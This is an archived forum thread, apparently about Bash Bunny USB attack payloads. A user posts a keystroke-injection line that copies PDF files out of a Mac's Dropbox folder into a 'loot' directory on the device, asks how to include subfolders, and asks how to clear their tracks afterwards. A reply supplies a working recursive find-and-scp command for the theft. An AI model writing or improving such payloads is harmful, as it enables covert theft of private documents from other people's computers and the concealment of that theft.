Jump to content

Downloading files from folder and its sub-folders


WiFiJuice

Recommended Posts

I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that?

Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/


PS: What's your best tip on clearing your tracks after this kind of command in the terminal? 

Link to comment
Share on other sites

  • 3 weeks later...
On 7/25/2021 at 2:38 AM, WiFiJuice said:

I'm using a script to exfiltrate PDF-files from Dropbox on macOS. However, I want it to also download the PDFs from the subfolders of the /Dropbox/ directionally. Example from "/Dropbox/Misc/" etc. How do I do that?

Q STRING scp -r ./Dropbox/*.pdf /Volumes/BashBunny/$lootdir/docs/


PS: What's your best tip on clearing your tracks after this kind of command in the terminal? 

This should work (haven't tested it, but it should work)

Q STRING find ./Dropbox -name '*.pdf' -exec scp '{}' /Volumes/BashBunny/$lootdir/docs/ \;

 

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...